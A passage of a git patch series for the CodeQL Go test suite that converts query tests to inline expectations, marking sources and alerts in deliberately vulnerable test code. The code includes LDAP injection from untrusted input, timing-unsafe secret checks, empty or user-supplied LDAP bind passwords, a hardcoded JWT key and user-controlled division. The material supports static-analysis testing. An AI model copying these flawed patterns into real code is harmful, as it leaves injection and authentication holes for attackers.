StringBreakMismatched.go:25:13:25:61 | call to Replace | provenance | MaD:1 | +| StringBreak.go:11:2:11:40 | ... := ...[0] | StringBreak.go:15:47:15:57 | versionJSON | provenance | | +| StringBreakMismatched.go:13:2:13:40 | ... := ...[0] | StringBreakMismatched.go:14:29:14:47 | type conversion | provenance | | +| StringBreakMismatched.go:14:13:14:62 | call to Replace | StringBreakMismatched.go:18:26:18:32 | escaped | provenance | | +| StringBreakMismatched.go:14:29:14:47 | type conversion | StringBreakMismatched.go:14:13:14:62 | call to Replace | provenance | MaD:1 | +| StringBreakMismatched.go:25:2:25:40 | ... := ...[0] | StringBreakMismatched.go:26:29:26:47 | type conversion | provenance | | +| StringBreakMismatched.go:26:13:26:61 | call to Replace | StringBreakMismatched.go:30:27:30:33 | escaped | provenance | | +| StringBreakMismatched.go:26:29:26:47 | type conversion | StringBreakMismatched.go:26:13:26:61 | call to Replace | provenance | MaD:1 | models | 1 | Summary: strings; ; false; Replace; ; ; Argument[0]; ReturnValue; taint; manual | nodes -| StringBreak.go:10:2:10:40 | ... := ...[0] | semmle.label | ... := ...[0] | -| StringBreak.go:14:47:14:57 | versionJSON | semmle.label | versionJSON | -| StringBreakMismatched.go:12:2:12:40 | ... := ...[0] | semmle.label | ... := ...[0] | -| StringBreakMismatched.go:13:13:13:62 | call to Replace | semmle.label | call to Replace | -| StringBreakMismatched.go:13:29:13:47 | type conversion | semmle.label | type conversion | -| StringBreakMismatched.go:17:26:17:32 | escaped | semmle.label | escaped | -| StringBreakMismatched.go:24:2:24:40 | ... := ...[0] | semmle.label | ... := ...[0] | -| StringBreakMismatched.go:25:13:25:61 | call to Replace | semmle.label | call to Replace | -| StringBreakMismatched.go:25:29:25:47 | type conversion | semmle.label | type conversion | -| StringBreakMismatched.go:29:27:29:33 | escaped | semmle.label | escaped | +| StringBreak.go:11:2:11:40 | ... := ...[0] | semmle.label | ... := ...[0] | +| StringBreak.go:15:47:15:57 | versionJSON | semmle.label | versionJSON | +| StringBreakMismatched.go:13:2:13:40 | ... := ...[0] | semmle.label | ... := ...[0] | +| StringBreakMismatched.go:14:13:14:62 | call to Replace | semmle.label | call to Replace | +| StringBreakMismatched.go:14:29:14:47 | type conversion | semmle.label | type conversion | +| StringBreakMismatched.go:18:26:18:32 | escaped | semmle.label | escaped | +| StringBreakMismatched.go:25:2:25:40 | ... := ...[0] | semmle.label | ... := ...[0] | +| StringBreakMismatched.go:26:13:26:61 | call to Replace | semmle.label | call to Replace | +| StringBreakMismatched.go:26:29:26:47 | type conversion | semmle.label | type conversion | +| StringBreakMismatched.go:30:27:30:33 | escaped | semmle.label | escaped | subpaths diff --git a/go/ql/test/query-tests/Security/CWE-089/StringBreak.go b/go/ql/test/query-tests/Security/CWE-089/StringBreak.go index d5aec9777d4..5667ca35035 100644 --- a/go/ql/test/query-tests/Security/CWE-089/StringBreak.go +++ b/go/ql/test/query-tests/Security/CWE-089/StringBreak.go @@ -3,6 +3,7 @@ package main import ( "encoding/json" "fmt" + sq "github.com/Masterminds/squirrel" ) diff --git a/go/ql/test/query-tests/Security/CWE-089/StringBreakMismatched.go b/go/ql/test/query-tests/Security/CWE-089/StringBreakMismatched.go index ba8ee72d0fa..c838d5f6b7d 100644 --- a/go/ql/test/query-tests/Security/CWE-089/StringBreakMismatched.go +++ b/go/ql/test/query-tests/Security/CWE-089/StringBreakMismatched.go @@ -2,8 +2,9 @@ package main import ( "encoding/json" - sq "github.com/Masterminds/squirrel" "strings" + + sq "github.com/Masterminds/squirrel" ) // Bad because quote characters are removed before concatenation, From b4a9689341383f94ec8979d381e59ec7d460e849 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Wed, 10 Jun 2026 06:43:10 +0200 Subject: [PATCH 059/143] Convert .qlref test to inline expectations --- .../experimental/CWE-525/WebCacheDeception.ql | 2 +- .../experimental/CWE-090/LDAPInjection.go | 24 +-- .../experimental/CWE-090/LDAPInjection.qlref | 4 +- go/ql/test/experimental/CWE-203/Timing.qlref | 4 +- go/ql/test/experimental/CWE-203/timing.go | 12 +- .../experimental/CWE-285/PamAuthBypass.qlref | 3 +- go/ql/test/experimental/CWE-285/main.go | 2 +- .../experimental/CWE-287/ImproperLdapAuth.go | 8 +- .../CWE-287/ImproperLdapAuth.qlref | 4 +- .../CWE-321-V2/HardCodedKeys.expected | 6 +- .../CWE-321-V2/HardCodedKeys.qlref | 3 +- .../experimental/CWE-321-V2/go-jose.v3.go | 4 +- .../experimental/CWE-321-V2/golang-jwt-v5.go | 4 +- .../test/experimental/CWE-369/DivideByZero.go | 24 +-- .../experimental/CWE-369/DivideByZero.qlref | 4 +- .../CWE-400/DatabaseCallInLoop.expected | 8 +- .../CWE-400/DatabaseCallInLoop.go | 4 +- .../CWE-400/DatabaseCallInLoop.qlref | 3 +- go/ql/test/experimental/CWE-400/test.go | 6 +- .../DecompressionBombs.qlref | 4 +- .../CWE-522-DecompressionBombs/test.go | 104 +++++------ .../CWE-525/WebCacheDeception.qlref | 3 +- .../CWE-525/WebCacheDeceptionBad.go | 2 +- .../CWE-525/WebCacheDeceptionFiber.go | 4 +- .../CWE-525/WebCacheDeceptionGoChi.go | 2 +- .../CWE-525/WebCacheDeceptionHTTPRouter.go | 2 +- go/ql/test/experimental/CWE-74/Dsn.go | 12 +- .../experimental/CWE-74/DsnInjection.qlref | 4 +- .../CWE-74/DsnInjectionLocal.qlref | 4 +- .../CWE-807/SensitiveConditionBypass.qlref | 3 +- .../CWE-807/SensitiveConditionBypassBad.go | 2 +- go/ql/test/experimental/CWE-807/condition.go | 6 +- .../CWE-840/ConditionalBypass.qlref | 3 +- .../CWE-840/ConditionalBypassBad.go | 2 +- go/ql/test/experimental/CWE-840/condition.go | 4 +- .../InconsistentCode/DeferInLoop.go | 2 +- .../InconsistentCode/DeferInLoop.qlref | 3 +- .../InconsistentCode/GORMErrorNotChecked.go | 2 +- .../GORMErrorNotChecked.qlref | 3 +- .../experimental/InconsistentCode/test.go | 10 +- .../Unsafe/WrongUsageOfUnsafe.expected | 24 +-- .../experimental/Unsafe/WrongUsageOfUnsafe.go | 24 +-- .../Unsafe/WrongUsageOfUnsafe.qlref | 3 +- .../go/frameworks/BeegoOrm/SqlInjection.qlref | 4 +- .../go/frameworks/BeegoOrm/StoredXss.qlref | 4 +- .../semmle/go/frameworks/BeegoOrm/test.go | 164 +++++++++--------- .../go/frameworks/Chi/ReflectedXss.qlref | 4 +- .../semmle/go/frameworks/Chi/test.go | 10 +- .../go/frameworks/Echo/OpenRedirect.qlref | 4 +- .../go/frameworks/Echo/ReflectedXss.qlref | 4 +- .../go/frameworks/Echo/TaintedPath.qlref | 4 +- .../semmle/go/frameworks/Echo/test.go | 92 +++++----- .../frameworks/GoMicro/LogInjection.expected | 4 +- .../go/frameworks/GoMicro/LogInjection.qlref | 3 +- .../semmle/go/frameworks/GoMicro/main.go | 4 +- .../CONSISTENCY/DataFlowConsistency.expected | 48 ++--- .../semmle/go/frameworks/Revel/EndToEnd.go | 17 +- .../go/frameworks/Revel/OpenRedirect.expected | 24 +-- .../go/frameworks/Revel/OpenRedirect.qlref | 4 +- .../go/frameworks/Revel/ReflectedXss.expected | 32 ++-- .../go/frameworks/Revel/ReflectedXss.qlref | 4 +- .../semmle/go/frameworks/Revel/Revel.go | 2 +- .../go/frameworks/Revel/TaintedPath.expected | 24 +-- .../go/frameworks/Revel/TaintedPath.qlref | 4 +- .../Revel/examples/booking/app/init.go | 4 +- .../go/frameworks/XNetHtml/ReflectedXss.qlref | 4 +- .../go/frameworks/XNetHtml/SqlInjection.qlref | 4 +- .../semmle/go/frameworks/XNetHtml/test.go | 50 +++--- .../ConstantLengthComparison.go | 2 +- .../ConstantLengthComparison.qlref | 3 +- .../InconsistentLoopOrientation.go | 2 +- .../InconsistentLoopOrientation.qlref | 3 +- .../InconsistentLoopOrientation/main.go | 6 +- .../LengthComparisonOffByOne.go | 4 +- .../LengthComparisonOffByOne.qlref | 3 +- .../LengthComparisonOffByOne/main.go | 8 +- .../MissingErrorCheck/MissingErrorCheck.qlref | 3 +- .../MissingErrorCheck/tests.go | 4 +- .../MistypedExponentiation.go | 2 +- .../MistypedExponentiation.qlref | 3 +- .../MistypedExponentiation/main.go | 10 +- .../WhitespaceContradictsPrecedence.go | 2 +- .../WhitespaceContradictsPrecedence.qlref | 3 +- .../WhitespaceContradictsPrecedence/main.go | 2 +- .../WrappedErrorAlwaysNil.go | 8 +- .../WrappedErrorAlwaysNil.qlref | 3 +- .../CompareIdenticalValues.go | 2 +- .../CompareIdenticalValues.qlref | 3 +- .../CompareIdenticalValues/tst.go | 4 +- .../CompareIdenticalValues/vp.go | 2 +- .../DeadStoreOfField/DeadStoreOfField.go | 2 +- .../DeadStoreOfField/DeadStoreOfField.qlref | 3 +- .../DeadStoreOfLocal/DeadStoreOfLocal.qlref | 3 +- .../RedundantCode/DeadStoreOfLocal/main.go | 2 +- .../DeadStoreOfLocal/testdata.go | 58 +++---- .../DuplicateBranches/DuplicateBranches.go | 2 +- .../DuplicateBranches/DuplicateBranches.qlref | 3 +- .../RedundantCode/DuplicateBranches/main.go | 2 +- .../DuplicateCondition/DuplicateCondition.go | 4 +- .../DuplicateCondition.qlref | 3 +- .../RedundantCode/DuplicateCondition/tst.go | 4 +- .../DuplicateSwitchCase.go | 2 +- .../DuplicateSwitchCase.qlref | 3 +- .../RedundantCode/DuplicateSwitchCase/tst.go | 2 +- .../ExprHasNoEffect/ExprHasNoEffect.go | 2 +- .../ExprHasNoEffect/ExprHasNoEffect.qlref | 3 +- .../RedundantCode/ExprHasNoEffect/main.go | 6 +- .../ImpossibleInterfaceNilCheck.go | 2 +- .../ImpossibleInterfaceNilCheck.qlref | 3 +- .../ImpossibleInterfaceNilCheck/tst.go | 2 +- .../NegativeLengthCheck.go | 2 +- .../NegativeLengthCheck.qlref | 3 +- .../RedundantCode/NegativeLengthCheck/main.go | 10 +- .../RedundantExpr/RedundantExpr.go | 2 +- .../RedundantExpr/RedundantExpr.qlref | 3 +- .../RedundantCode/RedundantExpr/tst.go | 4 +- .../RedundantRecover/RedundantRecover.qlref | 3 +- .../RedundantRecover/RedundantRecover1.go | 2 +- .../RedundantRecover/RedundantRecover2.go | 2 +- .../RedundantCode/RedundantRecover/tst.go | 2 +- .../SelfAssignment/SelfAssignment.go | 2 +- .../SelfAssignment/SelfAssignment.qlref | 3 +- .../RedundantCode/SelfAssignment/tst.go | 2 +- .../ShiftOutOfRange/ShiftOutOfRange.go | 2 +- .../ShiftOutOfRange/ShiftOutOfRange.qlref | 3 +- .../RedundantCode/ShiftOutOfRange/main.go | 6 +- .../UnreachableStatement.go | 2 +- .../UnreachableStatement.qlref | 3 +- .../UnreachableStatement/main.go | 22 +-- .../IncompleteHostnameRegexp.go | 4 +- .../IncompleteHostnameRegexp.qlref | 4 +- .../CWE-020/IncompleteHostnameRegexp/main.go | 14 +- .../IncompleteUrlSchemeCheck.go | 2 +- .../IncompleteUrlSchemeCheck.qlref | 3 +- .../CWE-020/IncompleteUrlSchemeCheck/main.go | 2 +- .../MissingRegexpAnchor.go | 2 +- .../MissingRegexpAnchor.qlref | 3 +- .../CWE-020/MissingRegexpAnchor/main.go | 20 +-- .../SuspiciousCharacterInRegexp.go | 2 +- .../SuspiciousCharacterInRegexp.qlref | 3 +- .../SuspiciousCharacterInRegexp/test.go | 20 +-- .../GorillaMuxDefault/TaintedPath.qlref | 4 +- .../CWE-022/GorillaMuxSkipClean/MuxClean.go | 4 +- .../GorillaMuxSkipClean/TaintedPath.qlref | 4 +- .../Security/CWE-022/TaintedPath.go | 8 +- .../Security/CWE-022/TaintedPath.qlref | 4 +- .../Security/CWE-022/UnsafeUnzipSymlink.go | 8 +- .../Security/CWE-022/UnsafeUnzipSymlink.qlref | 4 +- .../CWE-022/UnsafeUnzipSymlinkGood.go | 4 +- .../query-tests/Security/CWE-022/ZipSlip.go | 4 +- .../Security/CWE-022/ZipSlip.qlref | 4 +- .../query-tests/Security/CWE-022/tarslip.go | 4 +- .../test/query-tests/Security/CWE-022/tst.go | 4 +- .../Security/CWE-078/ArgumentInjection.go | 4 +- .../Security/CWE-078/CommandInjection.go | 4 +- .../Security/CWE-078/CommandInjection.qlref | 4 +- .../Security/CWE-078/CommandInjection2.go | 8 +- .../Security/CWE-078/GitSubcommands.go | 16 +- .../Security/CWE-078/SanitizingDoubleDash.go | 36 ++-- .../Security/CWE-078/StoredCommand.go | 4 +- .../Security/CWE-078/StoredCommand.qlref | 4 +- .../Security/CWE-089/SqlInjection.go | 4 +- .../Security/CWE-089/SqlInjection.qlref | 4 +- .../Security/CWE-089/StringBreak.go | 4 +- .../Security/CWE-089/StringBreak.qlref | 4 +- .../Security/CWE-089/StringBreakMismatched.go | 8 +- .../query-tests/Security/CWE-089/issue48.go | 12 +- .../test/query-tests/Security/CWE-089/main.go | 22 +-- .../query-tests/Security/CWE-089/mongoDB.go | 30 ++-- .../CWE-190/AllocationSizeOverflow.go | 4 +- .../CWE-190/AllocationSizeOverflow.qlref | 4 +- .../test/query-tests/Security/CWE-190/tst.go | 16 +- .../test/query-tests/Security/CWE-190/tst2.go | 8 +- .../test/query-tests/Security/CWE-190/tst3.go | 8 +- .../Security/CWE-209/StackTraceExposure.qlref | 3 +- .../test/query-tests/Security/CWE-209/test.go | 4 +- .../DisabledCertificateCheck.go | 2 +- .../DisabledCertificateCheck.qlref | 3 +- .../CWE-295/DisabledCertificateCheck/main.go | 6 +- .../CWE-322/InsecureHostKeyCallback.expected | 10 +- .../CWE-322/InsecureHostKeyCallback.qlref | 3 +- .../CWE-322/InsecureHostKeyCallbackExample.go | 12 +- .../Security/CWE-326/InsufficientKeySize.go | 22 +-- .../CWE-326/InsufficientKeySize.qlref | 3 +- .../query-tests/Security/CWE-327/UnsafeTLS.go | 94 +++++----- .../Security/CWE-327/UnsafeTLS.qlref | 4 +- .../InsecureRandomness/InsecureRandomness.go | 2 +- .../InsecureRandomness.qlref | 4 +- .../CWE-338/InsecureRandomness/sample.go | 14 +- .../CWE-347/MissingJwtSignatureCheck.qlref | 4 +- .../Security/CWE-347/go-jose.v3.go | 4 +- .../Security/CWE-347/golang-jwt-v5.go | 4 +- .../Security/CWE-352/ConstantOauth2State.go | 16 +- .../CWE-352/ConstantOauth2State.qlref | 3 +- .../BadRedirectCheck/BadRedirectCheck.go | 4 +- .../BadRedirectCheck/BadRedirectCheck.qlref | 4 +- .../Security/CWE-601/BadRedirectCheck/cves.go | 18 +- .../Security/CWE-601/BadRedirectCheck/main.go | 24 +-- .../Security/CWE-643/XPathInjection.go | 4 +- .../Security/CWE-643/XPathInjection.qlref | 4 +- .../test/query-tests/Security/CWE-643/tst.go | 90 +++++----- .../CWE-798/AlertSuppressionExample.go | 2 +- .../Security/CWE-798/HardcodedCredentials.go | 2 +- .../Security/CWE-798/HardcodedKeysBad.go | 2 +- .../test/query-tests/Security/CWE-798/jwt.go | 38 ++-- .../test/query-tests/Security/CWE-798/main.go | 2 +- .../query-tests/Security/CWE-798/sanitizer.go | 2 +- 207 files changed, 1009 insertions(+), 901 deletions(-) diff --git a/go/ql/src/experimental/CWE-525/WebCacheDeception.ql b/go/ql/src/experimental/CWE-525/WebCacheDeception.ql index eb488b0b0d1..04faa7c29e1 100644 --- a/go/ql/src/experimental/CWE-525/WebCacheDeception.ql +++ b/go/ql/src/experimental/CWE-525/WebCacheDeception.ql @@ -1,4 +1,4 @@ -/* +/** * @name Web Cache Deception * @description A caching system has been detected on the application and is vulnerable to web cache deception. By manipulating the URL it is possible to force the application to cache pages that are only accessible by an authenticated user. Once cached, these pages can be accessed by an unauthenticated user. * @kind problem diff --git a/go/ql/test/experimental/CWE-090/LDAPInjection.go b/go/ql/test/experimental/CWE-090/LDAPInjection.go index 87741a08d28..0acae7c0617 100644 --- a/go/ql/test/experimental/CWE-090/LDAPInjection.go +++ b/go/ql/test/experimental/CWE-090/LDAPInjection.go @@ -54,31 +54,31 @@ func main() {} // bad is an example of a bad implementation func (ld *Ldap) bad(req *http.Request) { // ... - untrusted := req.UserAgent() + untrusted := req.UserAgent() // $ Source goldap.NewSearchRequest( - untrusted, // BAD: untrusted dn + untrusted, // $ Alert // BAD: untrusted dn goldap.ScopeWholeSubtree, goldap.NeverDerefAliases, 0, 0, false, - "(&(objectClass=organizationalPerson))"+untrusted, // BAD: untrusted filter - []string{"dn", "cn", untrusted}, // BAD: untrusted attribute + "(&(objectClass=organizationalPerson))"+untrusted, // $ Alert // BAD: untrusted filter + []string{"dn", "cn", untrusted}, // $ Alert // BAD: untrusted attribute nil, ) goldapv3.NewSearchRequest( - untrusted, // BAD: untrusted dn + untrusted, // $ Alert // BAD: untrusted dn goldap.ScopeWholeSubtree, goldap.NeverDerefAliases, 0, 0, false, - "(&(objectClass=organizationalPerson))"+untrusted, // BAD: untrusted filter - []string{"dn", "cn", untrusted}, // BAD: untrusted attribute + "(&(objectClass=organizationalPerson))"+untrusted, // $ Alert // BAD: untrusted filter + []string{"dn", "cn", untrusted}, // $ Alert // BAD: untrusted attribute nil, ) gopkgldapv2.NewSearchRequest( - untrusted, // BAD: untrusted dn + untrusted, // $ Alert // BAD: untrusted dn goldap.ScopeWholeSubtree, goldap.NeverDerefAliases, 0, 0, false, - "(&(objectClass=organizationalPerson))"+untrusted, // BAD: untrusted filter - []string{"dn", "cn", untrusted}, // BAD: untrusted attribute + "(&(objectClass=organizationalPerson))"+untrusted, // $ Alert // BAD: untrusted filter + []string{"dn", "cn", untrusted}, // $ Alert // BAD: untrusted attribute nil, ) client := &ldapclient.LDAPClient{} - client.Authenticate(untrusted, "123456") // BAD: untrusted filter - client.GetGroupsOfUser(untrusted) // BAD: untrusted filter + client.Authenticate(untrusted, "123456") // $ Alert // BAD: untrusted filter + client.GetGroupsOfUser(untrusted) // $ Alert // BAD: untrusted filter // ... } diff --git a/go/ql/test/experimental/CWE-090/LDAPInjection.qlref b/go/ql/test/experimental/CWE-090/LDAPInjection.qlref index 7049e09a726..45935a174c4 100644 --- a/go/ql/test/experimental/CWE-090/LDAPInjection.qlref +++ b/go/ql/test/experimental/CWE-090/LDAPInjection.qlref @@ -1,2 +1,4 @@ query: experimental/CWE-090/LDAPInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/experimental/CWE-203/Timing.qlref b/go/ql/test/experimental/CWE-203/Timing.qlref index 7306096e724..e14641beccf 100644 --- a/go/ql/test/experimental/CWE-203/Timing.qlref +++ b/go/ql/test/experimental/CWE-203/Timing.qlref @@ -1,2 +1,4 @@ query: experimental/CWE-203/Timing.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/experimental/CWE-203/timing.go b/go/ql/test/experimental/CWE-203/timing.go index 43401bd4111..32543e367b6 100644 --- a/go/ql/test/experimental/CWE-203/timing.go +++ b/go/ql/test/experimental/CWE-203/timing.go @@ -12,9 +12,9 @@ func bad(w http.ResponseWriter, req *http.Request) (interface{}, error) { secret := "MySuperSecretPasscode" secretHeader := "X-Secret" - headerSecret := req.Header.Get(secretHeader) + headerSecret := req.Header.Get(secretHeader) // $ Source secretStr := string(secret) - if len(headerSecret) != 0 && headerSecret != secretStr { + if len(headerSecret) != 0 && headerSecret != secretStr { // $ Alert return nil, fmt.Errorf("header %s=%s did not match expected secret", secretHeader, headerSecret) } return nil, nil @@ -25,9 +25,9 @@ func bad2(w http.ResponseWriter, req *http.Request) (interface{}, error) { secret := "MySuperSecretPasscode" secretHeader := "X-Secret" - headerSecret := req.Header.Get(secretHeader) + headerSecret := req.Header.Get(secretHeader) // $ Source secretStr := string(secret) - if len(headerSecret) != 0 && strings.Compare(headerSecret, secretStr) != 0 { + if len(headerSecret) != 0 && strings.Compare(headerSecret, secretStr) != 0 { // $ Alert return nil, fmt.Errorf("header %s=%s did not match expected secret", secretHeader, headerSecret) } return nil, nil @@ -38,8 +38,8 @@ func bad4(w http.ResponseWriter, req *http.Request) (interface{}, error) { secret := "MySuperSecretPasscode" secretHeader := "X-Secret" - headerSecret := req.Header.Get(secretHeader) - if len(secret) != 0 && headerSecret != "SecretStringLiteral" { + headerSecret := req.Header.Get(secretHeader) // $ Source + if len(secret) != 0 && headerSecret != "SecretStringLiteral" { // $ Alert return nil, fmt.Errorf("header %s=%s did not match expected secret", secretHeader, headerSecret) } return nil, nil diff --git a/go/ql/test/experimental/CWE-285/PamAuthBypass.qlref b/go/ql/test/experimental/CWE-285/PamAuthBypass.qlref index 8a1d5b259e0..85ba5b1005d 100644 --- a/go/ql/test/experimental/CWE-285/PamAuthBypass.qlref +++ b/go/ql/test/experimental/CWE-285/PamAuthBypass.qlref @@ -1 +1,2 @@ -experimental/CWE-285/PamAuthBypass.ql \ No newline at end of file +query: experimental/CWE-285/PamAuthBypass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/experimental/CWE-285/main.go b/go/ql/test/experimental/CWE-285/main.go index b0607a74a41..352a57bb699 100644 --- a/go/ql/test/experimental/CWE-285/main.go +++ b/go/ql/test/experimental/CWE-285/main.go @@ -9,7 +9,7 @@ import ( func bad() error { t, _ := pam.StartFunc("", "", func(s pam.Style, msg string) (string, error) { return "", nil - }) + }) // $ Alert return t.Authenticate(0) } diff --git a/go/ql/test/experimental/CWE-287/ImproperLdapAuth.go b/go/ql/test/experimental/CWE-287/ImproperLdapAuth.go index b4e7b796b90..6e2f7d44033 100644 --- a/go/ql/test/experimental/CWE-287/ImproperLdapAuth.go +++ b/go/ql/test/experimental/CWE-287/ImproperLdapAuth.go @@ -15,7 +15,7 @@ func bad(w http.ResponseWriter, req *http.Request) (interface{}, error) { ldapServer := "ldap.example.com" ldapPort := 389 bindDN := "cn=admin,dc=example,dc=com" - bindPassword := req.URL.Query()["password"][0] + bindPassword := req.URL.Query()["password"][0] // $ Source // Connect to the LDAP server l, err := ldap.Dial("tcp", fmt.Sprintf("%s:%d", ldapServer, ldapPort)) @@ -25,7 +25,7 @@ func bad(w http.ResponseWriter, req *http.Request) (interface{}, error) { defer l.Close() // BAD: user input is not sanetized - err = l.Bind(bindDN, bindPassword) + err = l.Bind(bindDN, bindPassword) // $ Alert if err != nil { return fmt.Errorf("LDAP bind failed: %v", err), err } @@ -84,7 +84,7 @@ func bad2(req *http.Request) { ldapPort := 389 bindDN := "cn=admin,dc=example,dc=com" // BAD : empty password - bindPassword := "" + bindPassword := "" // $ Source // Connect to the LDAP server l, err := ldap.Dial("tcp", fmt.Sprintf("%s:%d", ldapServer, ldapPort)) @@ -94,7 +94,7 @@ func bad2(req *http.Request) { defer l.Close() // BAD : bindPassword is empty - err = l.Bind(bindDN, bindPassword) + err = l.Bind(bindDN, bindPassword) // $ Alert if err != nil { log.Fatalf("LDAP bind failed: %v", err) } diff --git a/go/ql/test/experimental/CWE-287/ImproperLdapAuth.qlref b/go/ql/test/experimental/CWE-287/ImproperLdapAuth.qlref index 35ca7800cc8..409b5b3347d 100644 --- a/go/ql/test/experimental/CWE-287/ImproperLdapAuth.qlref +++ b/go/ql/test/experimental/CWE-287/ImproperLdapAuth.qlref @@ -1,2 +1,4 @@ query: experimental/CWE-287/ImproperLdapAuth.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/experimental/CWE-321-V2/HardCodedKeys.expected b/go/ql/test/experimental/CWE-321-V2/HardCodedKeys.expected index 5b26a2a9b36..0cad327e641 100644 --- a/go/ql/test/experimental/CWE-321-V2/HardCodedKeys.expected +++ b/go/ql/test/experimental/CWE-321-V2/HardCodedKeys.expected @@ -1,3 +1,6 @@ +#select +| go-jose.v3.go:24:32:24:37 | JwtKey | go-jose.v3.go:13:21:13:33 | "AllYourBase" | go-jose.v3.go:24:32:24:37 | JwtKey | This $@. | go-jose.v3.go:13:21:13:33 | "AllYourBase" | Constant Key is used as JWT Secret key | +| golang-jwt-v5.go:27:9:27:15 | JwtKey1 | golang-jwt-v5.go:19:22:19:34 | "AllYourBase" | golang-jwt-v5.go:27:9:27:15 | JwtKey1 | This $@. | golang-jwt-v5.go:19:22:19:34 | "AllYourBase" | Constant Key is used as JWT Secret key | edges | go-jose.v3.go:13:14:13:34 | type conversion | go-jose.v3.go:24:32:24:37 | JwtKey | provenance | | | go-jose.v3.go:13:21:13:33 | "AllYourBase" | go-jose.v3.go:13:14:13:34 | type conversion | provenance | | @@ -11,6 +14,3 @@ nodes | golang-jwt-v5.go:19:22:19:34 | "AllYourBase" | semmle.label | "AllYourBase" | | golang-jwt-v5.go:27:9:27:15 | JwtKey1 | semmle.label | JwtKey1 | subpaths -#select -| go-jose.v3.go:24:32:24:37 | JwtKey | go-jose.v3.go:13:21:13:33 | "AllYourBase" | go-jose.v3.go:24:32:24:37 | JwtKey | This $@. | go-jose.v3.go:13:21:13:33 | "AllYourBase" | Constant Key is used as JWT Secret key | -| golang-jwt-v5.go:27:9:27:15 | JwtKey1 | golang-jwt-v5.go:19:22:19:34 | "AllYourBase" | golang-jwt-v5.go:27:9:27:15 | JwtKey1 | This $@. | golang-jwt-v5.go:19:22:19:34 | "AllYourBase" | Constant Key is used as JWT Secret key | diff --git a/go/ql/test/experimental/CWE-321-V2/HardCodedKeys.qlref b/go/ql/test/experimental/CWE-321-V2/HardCodedKeys.qlref index e6cee546420..63827b14d7a 100644 --- a/go/ql/test/experimental/CWE-321-V2/HardCodedKeys.qlref +++ b/go/ql/test/experimental/CWE-321-V2/HardCodedKeys.qlref @@ -1 +1,2 @@ -experimental/CWE-321-V2/HardCodedKeys.ql \ No newline at end of file +query: experimental/CWE-321-V2/HardCodedKeys.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/experimental/CWE-321-V2/go-jose.v3.go b/go/ql/test/experimental/CWE-321-V2/go-jose.v3.go index e25624bb680..c9d103710ba 100644 --- a/go/ql/test/experimental/CWE-321-V2/go-jose.v3.go +++ b/go/ql/test/experimental/CWE-321-V2/go-jose.v3.go @@ -10,7 +10,7 @@ import ( ) // NOT OK -var JwtKey = []byte("AllYourBase") +var JwtKey = []byte("AllYourBase") // $ Source func main2(r *http.Request) { signedToken := r.URL.Query().Get("signedToken") @@ -21,7 +21,7 @@ func verifyJWT(signedToken string) { fmt.Println("verifying JWT") DecodedToken, _ := jwt.ParseSigned(signedToken) out := CustomerInfo{} - if err := DecodedToken.Claims(JwtKey, &out); err != nil { + if err := DecodedToken.Claims(JwtKey, &out); err != nil { // $ Alert panic(err) } fmt.Printf("%v\n", out) diff --git a/go/ql/test/experimental/CWE-321-V2/golang-jwt-v5.go b/go/ql/test/experimental/CWE-321-V2/golang-jwt-v5.go index 71917160bda..166c8e6454e 100644 --- a/go/ql/test/experimental/CWE-321-V2/golang-jwt-v5.go +++ b/go/ql/test/experimental/CWE-321-V2/golang-jwt-v5.go @@ -16,7 +16,7 @@ type CustomerInfo struct { } // BAD constant key -var JwtKey1 = []byte("AllYourBase") +var JwtKey1 = []byte("AllYourBase") // $ Source func main1(r *http.Request) { signedToken := r.URL.Query().Get("signedToken") @@ -24,7 +24,7 @@ func main1(r *http.Request) { } func LoadJwtKey(token *jwt.Token) (interface{}, error) { - return JwtKey1, nil + return JwtKey1, nil // $ Alert } func verifyJWT_golangjwt(signedToken string) { diff --git a/go/ql/test/experimental/CWE-369/DivideByZero.go b/go/ql/test/experimental/CWE-369/DivideByZero.go index 613479981b1..75588a18b45 100644 --- a/go/ql/test/experimental/CWE-369/DivideByZero.go +++ b/go/ql/test/experimental/CWE-369/DivideByZero.go @@ -7,37 +7,37 @@ import ( ) func myHandler1(w http.ResponseWriter, r *http.Request) { - param1 := r.URL.Query()["param1"][0] + param1 := r.URL.Query()["param1"][0] // $ Source value, _ := strconv.Atoi(param1) - out := 1337 / value + out := 1337 / value // $ Alert fmt.Println(out) } func myHandler2(w http.ResponseWriter, r *http.Request) { - param1 := r.URL.Query()["param1"][0] + param1 := r.URL.Query()["param1"][0] // $ Source value := int(param1[0]) - out := 1337 / value + out := 1337 / value // $ Alert fmt.Println(out) } func myHandler3(w http.ResponseWriter, r *http.Request) { - param1 := r.URL.Query()["param1"][0] + param1 := r.URL.Query()["param1"][0] // $ Source value, _ := strconv.ParseInt(param1, 10, 64) - out := 1337 / value + out := 1337 / value // $ Alert fmt.Println(out) } func myHandler4(w http.ResponseWriter, r *http.Request) { - param1 := r.URL.Query()["param1"][0] + param1 := r.URL.Query()["param1"][0] // $ Source value, _ := strconv.ParseFloat(param1, 32) - out := 1337 / value + out := 1337 / value // $ Alert fmt.Println(out) } func myHandler5(w http.ResponseWriter, r *http.Request) { - param1 := r.URL.Query()["param1"][0] + param1 := r.URL.Query()["param1"][0] // $ Source value, _ := strconv.ParseUint(param1, 10, 64) - out := 1337 / value + out := 1337 / value // $ Alert fmt.Println(out) } @@ -51,10 +51,10 @@ func myHandler6(w http.ResponseWriter, r *http.Request) { } func myHandler7(w http.ResponseWriter, r *http.Request) { - param1 := r.URL.Query()["param1"][0] + param1 := r.URL.Query()["param1"][0] // $ Source value := int(param1[0]) if value >= 0 { - out := 1337 / value + out := 1337 / value // $ Alert fmt.Println(out) } } diff --git a/go/ql/test/experimental/CWE-369/DivideByZero.qlref b/go/ql/test/experimental/CWE-369/DivideByZero.qlref index 80eca2d3219..0713092d4b8 100644 --- a/go/ql/test/experimental/CWE-369/DivideByZero.qlref +++ b/go/ql/test/experimental/CWE-369/DivideByZero.qlref @@ -1,2 +1,4 